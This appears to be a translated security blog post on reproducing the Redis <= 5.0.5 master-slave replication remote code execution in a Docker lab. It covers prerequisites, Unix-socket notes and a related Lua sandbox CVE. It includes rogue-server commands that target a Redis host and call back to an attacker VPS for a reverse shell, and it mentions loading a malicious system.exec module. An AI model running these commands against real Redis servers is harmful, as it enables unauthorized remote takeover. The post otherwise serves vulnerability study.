# Redis <= 5.0.5
 python redis-rogue-server.py --rhost [redis] --rport=6379 --lhost [vps] --lport 443

redis-rogue-server_poison.zip

1. Introduction

Setting Up the Environment

Set up the environment with Docker

docker pull damonevking/redis5.0 
docker run -p 6379:6379 -d damonevking/redis5.0 redis-server

Normal Use of the Master-Slave Feature

Redis is an open-source, network-enabled, in-memory, optionally persistent key-value store written in ANSI C. However, when data is stored in a single Redis instance and the read/write volume grows large, the server struggles to keep up. To handle this situation, Redis provides a master-slave mode: one redis instance acts as the master while the other instances all act as backups. The master and slaves hold identical data — slaves only handle reads while the master only handles writes. This read/write separation greatly relieves traffic pressure, and can be considered a mitigation approach that trades space for efficiency.

Suppose Redis-1 listens on port 63791 and Redis-2 on port 63792.

We make Redis-1 the boss (Master); then we simply configure SLAVEOF [redis_ip] 63791 on Redis-2.

Under normal circumstances, the master node can both read and write; the slave node, acting as the “workhorse”, can only read data (synced from the master node) and cannot write data.

2. Vulnerability Reproduction****

Prerequisites for exploitation

  • Redis <= 5.0.5
  • The Redis service is accessible without authentication (bind changed from 127.0.0.1 to 0.0.0.0, protected-mode set to no)

Specific steps

In practice, there are two roughly similar approaches, as follows:

The first approach uses the script from https://github.com/n0b0dyCN/redis-rogue-server (not recommended — the reverse shell easily crashes the environment)

Just specify the vulnerable address directly.

There are two options: an interactive shell or a reverse shell,

Interactive shell

Reverse shell

It is worth noting that since the reverse shell process is blocking, I suspect Redis cannot do anything else during this time.

Moreover, the reverse shell approach is really unstable — it crashed the Redis Docker container many times… The corresponding code is below


The second approach uses the script from https://github.com/LoRexxar/redis-rogue-server (recommended — simply executes commands)

Same command

python redis-rogue-server.py --rhost [redis_ip] --rport=6379 --lhost [your_vps_ip] --lport 21000

It is worth noting that both of the attack methods above, in addition to executing commands normally, also define a malicious function system.exec on the redis instance, which we can use directly once connected to Redis — see the effect in the figure below

So, if you simply want to verify the vulnerability, just use the interactive shell.


3. Master-Slave RCE in SSRF Scenarios [ToDo]

I’ll update this when I encounter a relevant scenario

  • What to do when Redis has a password?
  • Writing a webshell via master-slave replication

TODO: https://xz.aliyun.com/t/8613

https://xz.aliyun.com/t/5665#toc-3

4. Further Reading

The attack surface of unauthenticated Redis

() CVE-2015-4335: Redis EVAL Lua Sandbox Security Bypass Vulnerability

  • Redis < 2.8.21
  • Redis < 3.0.2

i.e. Redis 2.8.21 and 3.0.2 have been released to fix this issue.

Refs:

Build

docker pull redis:3.0.1
docker run -p 6379:6379 --name redis_3.0.1 redis:3.0.1

EXP

5. Q&A

Problems encountered, recorded here

Why did executing config fail

Possibly because Redis has disabled the command, see https://blog.csdn.net/elesos/article/details/81280291

Redis Running on a Unix Socket

  • In fact, on Linux systems, if the redis client and server are on the same machine, you can use unix socket instead of listening on a TCP network port. The effect is very noticeable — using the unixSocket approach increases the speed by at least half.
  • The correct URL syntax for connecting to a Redis server on a Unix socket is unix:///tmp/redis.sock

The official documentation contains the following passage

To use a UNIX socket instead, open up the file /etc/redis.conf and locate the line mentioning unixsocket. Replace it with the following:

Just configure it in the Redis configuration file.

How to connect:

redis-cli -s /tmp/redis.sock

For Redis running in unix socket mode, I have not yet found a way for SSRF to attack it. (Unless SSRF is performed via a handle-based approach like fopen, there might be a chance)

Also, get to know the vulnerability’s discoverer — an independent security researcher who doesn’t use Twitter. (So envious!)